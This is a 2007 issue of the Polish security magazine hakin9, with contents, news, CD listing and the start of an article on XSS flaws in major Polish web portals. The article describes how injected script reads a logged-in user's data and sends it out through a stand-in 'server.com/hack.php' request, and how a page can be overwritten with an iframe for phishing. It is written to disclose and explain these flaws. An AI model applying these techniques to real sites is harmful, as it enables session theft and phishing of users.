background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 4/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Przedstawiamy  garść  najciekawszych  wiadomości 

ze  świata  bezpieczeństwa  systemów  informatycz-

nych i nie tylko

Zawartość CD

Prezentujemy  zawartość  i  sposób  działania  najnow-

szej  wersji  naszej  sztandarowej  dystrybucji  haki-

n9.live

Atak

Błędy w serwisach Onet i WP, 

Allegro i mBank

Michał Majchrowicz

Michał  przedstawia  jak  działają  przykładowe  sys-

temy zabezpieczenia przed XSS oraz jak można je 

obejść. 

Hak na Windows

Jacek Matulewski

Jacek pokazuje w jaki sposób korzystać z mechani-

zmu haków systemu Microsoft Windows, w szczegól-

ności w jaki sposób wykorzystać  go do podsłuchiwa-

nia klawiatury.

Atak faktoryzacyjny na RSA

Daniel Lerch Hostalot

Daniel przybliża czytelnikom pojęcie RSA - bez wąt-

pienia najpopularniejszego systemu publicznej kryp-

tografii.Bezpieczeństwo  tego  popularnego  algoryt-

mu jest oparte o trudności związane z faktoryzacją 

dużych liczb, czyli tych, które mają ponad 100 cyfr w 

zapisie dziesiętnym.

Obrona

Budowanie świadomości usprawnia 

poziom bezpieczeństwa

Adam Kuczyński

Adam  przedstawia  istotę  budowania  świadomości 

zagrożeń i ochrony informacji, a także techniki budo-

wania  świadomości  oraz  sposoby  ochrony  przed 

manipulacją.

Zapora systemu Windows Vista 

– a złudne bezpieczeństwo systemu

Artur Żarski

Artur pragnie w swoim artykule pokazać konieczność 

korzystania  z  firewall’i  oraz  zagrożenia  wynikające  z 

braku jego posiadania.

Zazwyczaj  bezpieczeństwo  określane  jest  jako  stan  braku 

zagrożenia, stan spokoju i pewności. 

Dla  każdego  człowieka  jest  jedną  z  najważniejszych 

spraw, dlatego tak wiele uwagi poświęca się temu zagadnie-

niu. Każdy człowiek pragnie czuć się bezpiecznie w domu, 

na spacerze, kiedy surfuje po Internecie, a przede wszystkim 

zależy nam na bezpieczeństwie naszych pieniędzy. Ostatni-

mi czasy bardzo głośnym tematem stało się wykrywanie luk 

w największych portalach internetowych i bankach. Dlatego  

zainteresowaliśmy się tymi wiadomościami. Motywem prze-

wodnim hakin9 4/2007 stały się hakowanie serwisów inter-

netowych, a głównym artykułem: Błędy w serwisach Onet 

i WP, Allegro i mBank. Autor, Michał Majchrowicz w swoim 

artykule uczula serwisy na podobne luki i wskazuje im wady 

w celu poprawy podejścia do błędów typu JavaScript Imjec-

tion, XSS czy Session Fixation.

Udostępnimy Państwu także opinie na temat tego arty-

kułu jednego z omawianych portali.

Czasopismo  zawiera  znakomite  artykuły  oraz  płytę 

CD na której, będzie mozna znaleźć trzecią część CISCO 

CCNA oraz dwa nowe tutoriale. 

Katarzyna Juszczyńska

06

08

10

20

28

36

40

Sprostowanie 

Oświadczamy, że błędy, które wkradły się do receznji ksią-

żek w numerze 2/2007 nie są winą autorów: Krystyny Wal i 

Łukasza Długosza. Przepraszamy autorów oraz czytelników 

za zaistniałą sytuację.

background image

4

www.hakin9.org

hakin9 Nr 4/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Analiza ryzyka – System Zarządzania 

Bezpieczeństwem Informacji

Tomasz Polaczek

Tomek  chce  przybliżyć  pojęcie  analizy  ryzyka  oraz 

procesy związane z wdrażaniem sprawnego Systemu 

Zarządzania Bezpieczeństwem Informacji. 

Przegląd wybranych metod 

niwelowania ograniczeń 

sieci lokalnych

Konrad Malewski

Konrad w swoim artykule przedstawia jak przekiero-

wywać porty z wykorzystaniem urządzenia IGD oraz 

jak stworzyć tunel IP wykorzystujący różne protokoły 

wyższych warstw.

Metasploit – Exploiting framework

Michal Merta

Michal  w  swoim  artykule  odpowiada  na  pytania:  czy 

twój  system  jest  dostatecznie  zabezpieczony?  Czy 

chcesz się nauczyć używania prostego narzędzia, by 

to stwierdzić? 

Szyfrowanie w aplikacjach 

– biblioteka Openssl

Paweł Maziarz

Paweł  przedstawia  garść  informacji  na  temat  jak 

zaimplementować  szyfrowanie  SSL/TLS  w  swoich 

aplikacjach.

Felieton

Niezdrowe trendy w bezpieczeństwie 

– full disclosure

Patryk Krawaczyński

Klub Techniczny

GlobalTrust Enigma 
Jak mniej czasu poświęcać 

na administrowanie pocztą?

Księgozbiór

Szkoła Hakerów

Wojciech Trynkowski

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: 
Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor naczelny: Martyna Żaczek 

martyna.zaczek@software.com.pl 

Asystent redaktora: Katarzyna Juszczyńska 

katarzyna.juszczynska@software.com.pl

Tłumaczenie: Krzysztof Trynkiewicz

Wyróżnieni betatesterzy: Amadeusz Jasak, Łukasz Witczak, Rafał 

Podsiadły 

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

46

50

60

66

74

76

77

78

82

background image

W skrócie

hakin9 Nr 4/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 4/2007

Uwaga na oszustów poda-

jących się za Microsoft

Zwykli szarzy śmiertelnicy korzysta-

jący  z  oprogramowania  Microsoft 

mogą czuć się bezpieczni. Ostatnie 

pogłoski, które docierały do normal-

nych ludzi, że pracownicy Microso-

ftu szukają po domach nielegalnych 

programów to tylko plotka. Wszyst-

kie takie poczynania nie są inicjaty-

wą Microsoftu..

Firma pragnie ostrzec przed wpusz-

czaniem  do  prywatnych  mieszkań 

osób podszywających się pod firmę 

Microsoft  i  proszą  o  jakie  kolwiek 

kontakt  w  tej  sprawie,  jeśli  sytuacja 

taka miała miejsce.

Rozwój Samsung 

Electronics

Prawie 2 mld USD ma być przezna-

czone na produkcję modułów pamięci 

DRAM w Korei Południowej. A wszyst-

ko to po to aby zwiększyć roczną pro-

dukcję  o  90%.  Natomiast  ma  także 

wzrosnąć  rozwój  technologii  modu-

łów pamięci DRAM poprzez  zwięk-

szenie się pojemności kości pamięci 

o 30%. Samsung Electronic jest opty-

mistą, jak twierdzi pomimo niewielkie-

go zysku jaki będzie w pierwszej poło-

wie 2007, wzrost sprzedaży modułów 

wzrośnie  o  11  procent  (w  trzecim  i 

czwartym kwartale).

Luki w gadu-gadu

Wykrywanie  luk  ostatnimi  czasu 

stało się bardzo modne. Tym razem 

pod  lupę  poszedł  najpopularniejszy 

polski komunikator Gadu-Gadu.  Po 

poinformowaniu odpowiednich osób 

o lukach nie podjęto żadnych kroków 

w celu załatania ich. Jak się okazu-

ję  firma  Gadu-Gadu  nie  otrzymała 

żadnej  wiadomości,  ponieważ  mail 

jest  na  liście  hostów  DSBL  i  został 

odrzucony. Jednak kiedy skontakto-

wano sie z firmą za pomocą komu-

nikatora bardzo szybko zajęto się tą 

sprawą w celu uniknięcia niebezpie-

czeństwa  na  jakie  zostali  narażeni 

użytkownicy komunikatora.

Pierwsza  luka  znajdowała  się  w 

pliku  Management.cpp.  Luka  naru-

szała pamięć komunikatora co powo-

dowało niepoprawne zamknęcie apli-

kacji. Następna luka nie pozwala na 

zdalne wykonanie kodu. Objawia się 

to  poprzez  niemożność  zamknięcia 

w momencie kiedy jest otwarte okien-

ko zmiana topicu. Może to doprowa-

dzić do uszczerbku w pamięci. Kolej-

na luka, która została wykryta pozwa-

la na atak: denial of service na aplika-

cję Gadu-Gadu.

Laptop dla osób trendy

A

risto  Slim  430  Specjal  Orange 
edition  to  raj  dla  osób,  którzy 

cenią sobie oryginalny wygląd i swoim 
sprzętem chcą się wyróźnić z tłumu. 
Charakterystyczną  cechą  komputera 
jest biała klawiatura i jaskrawopoma-
rańczowa pokrywa matrycy.

Zalety:

•   panoramiczny wyświetlacz Glare 

oparty  na  najnowszej  platfor-
mie  mobilnej  Intel  Centrino  Duo 
z  dwurdzeniowym  procesorem 
Intel Core 2 Duo.

•   nagrywarka DVDRW
•   sieć bezprzewodowa WiFi
•   waży 2 kg.

Wszystkie  te  zalety  prowadzą  do 
łatwiejszego i szybszego użytkowania 
laptopa,  w  jednym  czasie  jest  możli-
wość odtwarzania obrazu wideo, roz-
mowy  internetowej,  nagrywania  płyt 
DVD  bez  ubytku  płynności  innych 
uruchomionych  aplikacji.

Dość lekki komputer może z łatwo-

ścią być transportowany w najciekaw-
sze  zakątki  świata,  a  sześcioognio-
wa bateria, która zawiera technologie 

oszczedzania baterii pozwala na długi 
czas korzystania z urządzenia.

Panoramiczny  13-calowy  panel 

LCD  jest  o  rozdzielczości  WXGA 
1280x800  pikseli  i  daje  możliwość 
pracy na aplikacjach biurowych i mul-
timedialnych. Oglądanie filmów DVD 
jest  ogromną  przyjemnością  dzięki 
eliminacji  czarnych  pasów  na  górze 
i  na  dole  oraz  dzięki  bardzo  żywym 
i  nasyconym  kolorom.  Nagrywarka 
umożliwia nagrywanie nawet 8,5 GB 
na jednej płycie DVD.

Aristo  Slim  430  Specjal  Orange 

edition posiada modem, kartę siecio-
wą GigaLAN oraz kartę sieci bezprze-
wodowej  Wireless  LAN  802.11ABG 
54Mbps.  Jest  także  wyposażony  w 
mikrofon  i  głośniki.  Notebook  jest 
objęty  gwarancją  24-miesięczną 
w  systemie  DOOR-TO-DOOR,  co 
wiąże się z darmowym transportem)

Specjalna  edycja  Aristo  Slim 

430 jest kierowana do wąskiej grupy 
osób  ponieważ  na  rynek  trafi  tylko 
200  egzemplarzy.  Przede  wszyst-
kim  odbiorcami  mają  być  pracowni-
cy  agencji  reklamowych,  dziennika-
rze, artyści, osoby kreatywne. 

Wyczyszczone konta banku Nordea

B

ank Nordea należy do najwięk-
szej  skandynawskiej  grupy 

finansowej  Nordea.  Bank  świadczy 
usługi bankowe przez Internet, tele-
fon, poprzez usługę sms, WAP oraz 
sieć  oddziałów.  Bankowość  elek-
troniczna  działa  na  zasadzie  syste-
mu  Solo-wielokrotnie  nagradzane-
go  za  sukcesy  w  bankowości  elek-
tronicznej  dokonywanej  przez  Inter-
net.  Obsługuje  klientów  indywidual-
nych i biznesowych. Oferta banku to 
między innymi: konto Nordea, rachu-
nek e-firma, e-firma plus, atrakcyjne 
lokaty, niskooprocentowane kredyty.

Codziennie  szwedzka  policja 

dostaje  kilka  zgłoszeń  dotyczących 
braku  pieniędzy  na  kontach  klien-
tów  banku  Nordea.  Straty  szacuje 
się na kwotę 8 milionów koron. Inter-
netowi złodzieje używają do kradzie-

ży  linków,  które  przesyłają  klien-
tom  banku  w  mailach,  do  tego  celu 
został  stworzony  specjalny  wirus. 
Uaktywnia się on w momencie wpi-
sania  przez  użytkownika  kodu  słu-
żącego  do  jakichkolwiek  działań  na 
koncie.  W  momencie  kiedy  dosta-
je  e-mail  są  wykradane  dane  klien-
ta  i  przekazywane  złodziejom,  a  ci 
dokonują kradzieży poprzez przelew 
na  swoje  konta.  Jak  donosi  policja 
wkradające  się  na  konta  osoby  są 
tylko  pośrednikami  zorganizowane-
go  gangu.  Podejrzewają  że  wszyst-
ko zaczyna się w Rosji i dalsze dzia-
łania odbywają się za pomocą ame-
rykańskich  serwerów.  Policja  moni-
toruje poczynania 125 osób związa-
nych z tą sprawą jednak na razie nie 
mają konkretnych tropów.

background image

W skrócie

hakin9 Nr 4/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 4/2007

Nielegalny Windows

Od lipca 2005 roku są zbierane dane 

dotyczące nielegalnego oprogramo-

wania Windows XP. Dane są niepo-

kojące.  Z  512  milionów  procesów 

sprawdzających  około  22  procent 

z  nich  zakończyła  się  negatywnie, 

czyli  systemy  były  nielegalne.  Pro-

cedura ta doprowadziła do tego, że 

56  tysięcy  użytkowników  wymieniło 

bezpłatnie nielegalną kopię na praw-

dziwy  odpowiednik.  Poziom  świato-

wego  piractwa  jest  szacowany  na 

poziomie około 35 procent. 

Pomysły hakerów

Nie  ma  to  jak  dopasowanie  się  do 

otoczenia  i  do  tego  co  dzieje  się 

wokół  nas.  Ostatnio  panujące  silne 

wiatry to nie tylko klęska dla miesz-

kańców,  którzy  ucierpieli  podczas 

wichury, jak się okazuje dotknęła ona 

również internautów, którzy otworzyli 

mail informujący o tej anomalii pogo-

dowej  i  jej  ofiarach.  Zainteresowani 

tą  wiadomością  użytkownicy  Inter-

netu  oprócz  wiadomości  otrzymy-

wali złośliwe oprogramowanie, które 

mogło zainfekować niezabezpieczo-

ny komputer. 

Wirus-Small.DAM  jest  załączo-

ny do wiadomości zatytułowanych: 

„230 dead as storm batters Europe” 

oraz  „British  Muslims  Genocide” 

and  „U.S.  Secretary  of  State  Con-

doleezza”

W  momencie  przeglądu  wiado-

mości i załącznika komputer zosta-

je zaatakowany przez konia trojań-

skiego  i  instaluje  się  na  kompute-

rze.  Większość  firm  antywiruso-

wych  klasyfikuje  Wirus-Small.DAM 

do  kategorii  niegroźnej.  Jednak 

należy  uważać  ponieważ  zaczy-

nają  się  pojawiać  różne  odmiany 

wykrytego trojana i ostrożnie otwie-

rać maile pochodzące z niezidenty-

fikowanego źródła.

Taka  sytuacja  miała  już  kiedyś 

miejsce  kiedy  to  hakerzy  wykorzy-

stali Huragan Katrina, który nawie-

dził południowe stany USA. W 2005 

roku  wykryto  zwiększone  ataki  na 

komputery  wynikłe  z  kliknięcia  na 

mail z załącznikiem z wiadomościa-

mi z tego wydarzenia.

Zagrożenie botnetami

P

odczas Światowego Forum Eko-
nomicznego  Vint  Cerf,  twórca 

stosu  protokołów  TCP/IP,  wyraził 
opinię, że Sieci zagrażają botnety.

Botnety  to  sieci  komputerów-

zombie,  czyli  maszyn  które  bez 
wiedzy  właściciela  są  kontrolowa-
ne  przez  cyberprzestępców.  Sieci 
takie wykorzystywane są do rozsyła-
nia  spamu,  szkodliwego  oprogramo-
wania  oraz  przeprowadzania  ataków 
typu DDoS. Takie poczynania w ostat-
nim czasie stały się groźną bronią w 
rękach  przestępców  wymuszających 
haracze za odstąpienie od ataku (co 
w przypadku firm zależnych od połą-
czenia sieciowego jak np. portale czy 
sklepy  internetowe  stanowi  niemałe 
zagrożenie).  Całkowitą  liczbę  kom-
puterów  zombie  na  świecie  szacu-
je  się  na  kilka  milionów  -  nie  można 
jej dokładnie określić, ponieważ stale 
rośnie. 

Za stworzenie botnetu został ska-

zany na 37 miesięcy pozbawienia wol-
ności  dwudziestojednoletni  Christo-
pher Maxwell, który zainfekował około 

50  tys.  komputerów  (szkolnych,  woj-
skowych oraz należących do szpitala). 
Pod wpływem działania botnetu mają-
cego na celu instalowanie oprogramo-
wania adware padł m.in. system szpi-
tala w Seattle.

Zdaniem  Cerfa  aż  150  milionów 

komputerów  na  świecie  jest  zarażo-
nych i stanowi część botnetu. Ozna-
czałoby to, że zarażony jest co czwar-
ty komputer podłączony do Sieci. 

Specjaliści  potwierdzają  obawy 

Cerfa,  a  niedawno  mogli  obserwo-
wać tworzenie i pracę botneta Spam 
Thru. Twórcy tego botneta wyposaży-
li  go  w  oprogramowanie  antywiruso-
we, które chroniło  przed innymi bot-
netami,  okazało  się  również,  że  jest 
on  dziesięciokrotnie  bardziej  wydaj-
ny  od  konkurencji,  a  przy  tym  trud-
niej go wykryć. Spam Thru to był jedy-
nie test, który zapowiada to, co czeka 
nas  w  przyszłości.  Botnety  rozwija-
ją  się  w  zastraszającym  tempie,  są 
bardzo  zaawansowane  technologicz-
nie, mniejsze, trudniejsze do wykrycia 
i bardziej wydajne niż dotychczas. 

Windows Vista

W

indows Vista będzie dostępny w 
siedmiu odmianach. Starter Edi-

tion jest przeznaczona dla rynków ubo-
gich. Program ten nie będzie nadawał 
się do gier jedynie do obsługi podsta-
wowych sieci TCP/IP. Home Basic Edi-
tion przeznaczona jest dla społeczno-
ści,  która  korzysta  XP  Home.  Home 
Premium  Edition  wyposażony  jest  w 
Media  Center.  Jest  to  wersja  droż-
sza, ale bardziej przydatna niż wersja 
Basic.  Vista  Profesional,  Small  Busi-
ness  Edition,  Enterprise  Edition  to 
wersje  przeznaczone  dla  firm.  Posia-
dają przydatne dla firm narzędzia. Ulti-
mate Edition gromadzi najlepsze funk-
cje z wersji Home i Proffesional. Do tej 
pory można było zainstalować wersję 
Upgrade  Windows  Vista  na  kompu-
terze,  który  nie  posiadał  poprzedniej 
wersji  Okienek.  Był  łatwy  w  użyciu, 
gdyż wystarczyło włożyć płytę instala-
cyjną do napędu. Program rozpoczynał 
swoją pracę. Jednak to uległo zmianie 

instalacja  będzie  możliwa  jedynie  na 
komputerach, gdzie zainstalowany jest 
system Windows 2000 lub XP.

Biorąc  pod  uwagę  wygodę  użyt-

kowników to nie będą oni zachwyceni 
zaistniałą  sytuacją.  Jednak  Microsoft 
podaje dwa rozwiązania, po pierwsze 
zawsze może użytkownik zainstalować 
sobie Windows 2000 lub XP, a następ-
nie Viste. Drugim pomysłem firmy jest 
wykupienie sobie klucza, który pozwoli 
na instalację na pustym dysku.

Informujemy, że w nocy z 29 na 30 

stycznia odbyła się transmisja na żywo 
z oficjalnej premiery systemu Windows 
Vista  i  pakietu  Office  System  2007. 
Swoją obecnością zaszczycił sam Bill 
Gates.  Miała  ona  miejsce  w  Nowym 
Jorku  na  Times  Square.  Jak  wiado-
mo  przed  komputerami  aby  obejrzeć 
to  wydarzenie  zasiadło  spore  rzesze 
internautów, a ci co nie dane im było 
zobaczyć tej gali z pewnością bardzo 
żałują.

background image

hakin9.live

hakin9 Nr 4/2007

www.hakin9.org

8

N

a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzędzia, 

dokumentację, tutoriale i materiały dodatkowe do artyku-
łów. Aby zacząć pracę z hakin9.live, wystarczy urucho-
mić komputer z CD1. Po uruchomieniu systemu możemy 
zalogować się jako użytkownik hakin9 bez podawania ha-
sła. Materiały dodatkowe zostały umieszczone w nastę-
pujących katalogach:

•   tutoriale – 28 tutoriali; 
•   Aurox-Live;
•   materiał  uzupełniający  do  artykułu  “Hak  na  Win-

dows” 

programy:

•   NetConceal Anonymizer;
•   NetConceal AntiHistory;
•   MicroWorld eScan Internet Security Suite;
•   Enigma lite desktop edition;
•   Comodo personal firewall;
•   Cisco - Kurs na certyfikat Cisco CCNA cz. III

Materiały  archiwalne  zostały  umieszczone  w  podkata-
logach _arch. W przypadku przeglądania płyty z pozio-
mu  uruchomionego  hakin9.live  powyższa  struktura  jest 
dostępna z podkatalogu /mnt/cdrom. Wersję hakin9.live 
3.1-aur zbudowaliśmy, opierając się o dystrybucję Aurox i 
skrypty automatycznej generacji (www.aurox.org/pl/live).

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać 
możemy  poprzez  konsolę  wydając  polecenie  man  [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane  przez  redakcję.  Na  CD  opracowane  zostały 
praktyczne  ćwiczenia  do  jendego  artykułu  –  “Atak  fak-
toryzacyjny na RSA”, który można przeczytać w piśmie. 
Zakładamy,  że  podczas  wykonywania  ćwiczeń  związa-
nych z artykułami i tutorialami, użytkownik korzysta z ha-
kin9.live. Na płycie znajdzie się również tutorial do arty-
kułu  z  poprzedniego  Hakin9-  “Czy  moje  konto  php  jest 
bezpieczne?” A także materiały pomocnicze do artykułu 
“Hak na Windows” Jacka Matulewskiego.

NetConceal Anonymizer

Służy do ukrywania adresu IP powodując, że użytkownik 
staje się anonimowy, podczas kiedy Internet jest aktyw-
ny i podczas surfowania w sieci. Aplikacja daje gwaran-

Zawartość CD

cje ochrony prywatności i bezpieczeństwa. Program uru-
chamia się automatycznie.

NetConceal AntiHistory

Program służy do kasowanie historii i śladów obecności 
użytkownika. Czyści strony internetowe, pliki, dokumen-
ty, listy oraz wiele niebezpiecznych znaków dotyczących 
obecności. Łatwy w użyciu: wystarczy wybrać “instaluj” i 
kliknąć “start”

Obsługuje systemy i aplikacje:
-Internet Explorer 
-Windows 
-P2P 
-Windows Media Player, RealPlayer
-Microsoft Office 
-Instant Messengers (MSN, ICQ) 
-WinRAR, WinZip

eScan Internet Security Suite

Program  antywirusowy  służy  do  zabezpieczenia  kom-
putera oparty na własnym silniku skanującym. W ofercie 
programu jest kontrola rodzicielska, filtr okienek, wyska-
kujących, filtr pocztowy, który zapobiega niechcianej po-
czcie, automatyczne aktualizacje, zarządzanie prywatno-
ścią, NetBIOS Firewall

Enigma lite desktop edition

Jest rozwiązaniem opracowanym dla systemu operacyj-
nego Microsoft. Komponenty Desktop Document Secu-
rity integrują się z klientem systemu operacyjnego Win-
dows i komponentami oprogramowania serwera zainsta-
lowanego na MS Windows. Używa najbardziej zaawan-
sowanych  mechanizmów  kryptografii,  jest  kompatybilny 
ze standardami X509 i SSL v 3.0. Zezwala na użycie cy-
frowych certyfikatów i identyfikatorów. Kompatybilny jest 
również z CAC i PKCS#11

Comodo personal firewall

Program służący do ochrony komputera przed wewnętrz-
nymi  zagrożeniami-konie  trojańskie,  oprogramowanie 
spyware,  robaki  różnego  rodzaju.  Jest  bardzo  łatwy  w 
użytkowaniu i nawet nowicjusze nie będą mieli z nim pro-
blemów.  

Kurs na certyfikat Cisco CCNA cz. III

Certyfikat CCNA przeznaczony jest dla specjalistów od 
niewielkich sieci (do 100 stanowisk) i potwierdza umiejęt-
ności w zakresie instalacji i konfiguracji routerów i prze-
łączników Cisco w sieciach LAN i WAN (poprawa wydaj-
ności i bezpieczeństwa sieci oraz usuwanie problemów). 

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, 

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

www.hakin9.org

hakin9 Nr 4/2007

10

Atak

K

ażdego dnia z usług Onetu i WP korzy-
sta  rzesza  ludzi.  Oczywistą  jest  więc 
sprawą,  iż  w  takiej  sytuacji  serwisy  te 

powinny w szczególny sposób zadbać o kwe-
stię zabezpieczeń, gdyż ewentualna luka mo-
że  być  katastrofalna  w  skutkach  dla  użytkow-
nika serwisu.

Możliwości, jakie daje XSS

W dzisiejszych czasach jesteśmy przyzwycza-
jeni do efektów graficznych na stronach www. 
Dzięki  zastosowaniu  DOM,  CSS  i  JavaScript 
programiści witryn są w stanie sprawić, iż sta-
tyczny tekst przemienia się w tętniącą życiem 
stronę. Niewielu typowych użytkowników zda-
je  sobie  sprawę,  że  te  techniki,  pozwalające 
na fajerwerki i bogatą kolorystykę, mogą rów-
nież zostać użyte przeciwko nim. Jeśli ataku-
jący może w jakikolwiek sposób wstrzyknąć w 
treść  strony  kod  skryptu,  ma  wówczas  szero-
kie pole do popisu. Zazwyczaj kod jest jednak 
ograniczony na przykład długością, lub zesta-
wem dostępnych znaków. Aby ominąć te ogra-
niczenia używa się bardziej rozwiniętej formy, 
czyli Cross Site Scripting (XSS). Polega ona na 
dodaniu do treści strony jedynie odwołania do 
zewnętrznego skryptu, na który nie są już na-

łożone żadne ograniczenia. Dzięki temu może-
my napisać długi kod, który będzie w stanie wy-
konać bardzo skomplikowane zadania, jak ko-
piowanie danych prywatnych użytkownika, czy 
przejmowanie sesji. Do tego celu najlepiej na-
daje  się  obiekt  XMLHttpRequest.  Pozwala  on 
na wykonanie przez JavaScript zapytania http. 
Okazuje się to dla nas bardzo użyteczne, po-
nieważ  nasz  skrypt  działa  w  kontekście  zalo-
gowanego użytkownika i ma takie same prawa, 
co on. Spójrzmy na przykładowy kod zamiesz-
czony w Listingu 1.

W  tym  skrypcie  sprawdzamy  czy,  jest  do-

stępny obiekt XMLHttpRequest. Jeśli tak, two-
rzymy jego instancję. Następnie wysyłamy po-
lecenie GET jednocześnie zaznaczając, iż nie 

Błędy w serwisach 

Onet i WP, Allegro i mBank

Michał Majchrowicz

stopień trudności

W Polsce podejście do błędów typu JavaScript Injection, XSS, 

Session Fixation, RCSR, itp. jest mniej poważne, niż być powinno. 

Podczas swoich testów natknąłem się na błędy w wielu serwisach 

internetowych. Niektóre są większe, inne mniejsze. W pierwszej 

części tego artykułu chciałbym się skupić na lukach wykrytych 

w dwóch największych polskich portalach. 

Z artykułu dowiesz się...

•   Jak działają przykładowe systemy zabezpiecza-

nia przed XSS oraz jak można je obejść.

Co powinieneś wiedzieć...

•   Jak działają luki XSS i JavaScript Injection oraz 

jakie niosą ze sobą ryzyko.

background image

Błędy w popularnych serwisach internetowych

hakin9 Nr 4/2007

www.hakin9.org

11

czekamy na jego zakończenie. Nie-
stety  obiekt  XMLHttpRequest  ma 
swoje  ograniczenia.  Z  powodu  bez-
pieczeństwa  nie  możemy  wywołać 
zapytania  z  jednej  domeny  do  dru-
giej. Na przykład: jeśli nasz kod zo-
stanie uruchomiony na domenie se-
rver.com,  to  nie  możemy  przesłać 
zdobytych  w  ten  sposób  danych  do 
naszego  serwera  operującego  pod 
adresem  server2.com.  Nie  należy 
jednak zbytnio ufać temu zabezpie-
czeniu. Jak się okazuje, nadal może-
my tworzyć zapytania do innych do-
men, wysyłać dane, tyle że bez moż-
liwości  odebrania  odpowiedzi.  Aku-
rat  w  naszym  przypadku  nie  jest  to 
niezbędne.  Zmodyfikowany  kod  po-
zwalający  na  odwołania  pomiędzy 
domenami zobaczymy na Listingu 2.

Tworzymy  tutaj  nowy  obiekt 

Image  i  jako  jego  źródło  podajemy 
nasz  url.  Dzięki  temu  przeglądarka 
wykona nasze polecenie przy próbie 
załadowania  obrazka.  Zarówno  do 
funkcji  SendRequest,  jak  i  SendRe-
quest2  odwołujemy  się  w  ten  sam 
sposób.  Jako  parametr  podajemy 
adres url wraz z nazwą skryptu oraz 
zmienne i ich wartości, jakie chcemy 
w  ten  sposób  przekazać  (np.  Sen-

dRequest

http://www.server.com/

hack.php?var1=val1)).  Korzystając 
z  obiektu  XMLHttpRequest  możemy 
pobrać  dowolne  dane  z  podatnego 
serwisu, a następnie informacje zdo-
byte w ten sposób przesłać do dowol-
nego  miejsca  w  sieci  dzięki  funkcji 
SendRequest2.  Możliwości  tej  tech-
niki  dla  atakującego  są  niezliczone. 
Możemy  sobie  wyobrazić  sytuację, 
w której odpowiednio skonstruowany 
skrypt  prześle  wszystkie  dostępne 
dane  Oczywiście  nic  nas  też  nie 
ogranicza  w  próbach  zmiany  treści 
strony. Spójrzmy na przykład na kod 
zamieszczony w Listingu 3.

Po  upływie  100ms,  czyli  czasu 

niezauważalnego  dla  człowieka, 
zostanie  wykasowany  cały  kod  wi-
tryny, a w jego miejsce umieszczony 
zostanie znacznik iframe, wskazujący 
na dowolną stronę. Jest to wręcz ide-
alna technika dla wszelkiego rodzaju 
ataków  phishingowych.  Użytkownik 
spoglądając  na  pasek  adresowy 
przeglądarki  będzie  przekonany,  że 

nadal znajduje się na właściwiej do-
menie,  podczas  gdy  wszelkie  jego 
zachowania mogą być już śledzone.

Poczta Onet i WP

Podczas  analizy  systemu  zabez-
pieczania  treści  maili,  odbieranych 
przez internautów, którzy korzystają 
z usług Onetu i WP, zauważyłem, że 
możliwe jest dodanie do treści maila 
kodu JavaScript, który zostanie uru-
chomiony  na  komputerze  odbiorcy 
odpowiednio  spreparowanej  wia-
domości.  Odkryte  przeze  mnie  luki 
w skryptach filtrujących miały różny 
charakter.  Czasami  chodziło  o  omi-
janie przez system filtracyjny części 
kodu, innym razem o przetwarzanie 
białych  znaków,  na  które  przeglą-
darki  nie  zwracają  uwagi.  W  tym 
tekście  chciałbym  jednak,  w  celach 
edukacyjnych, skupić się na jednym 
konkretnym przykładzie, gdyż jest on 
uniwersalny dla obu serwisów. 

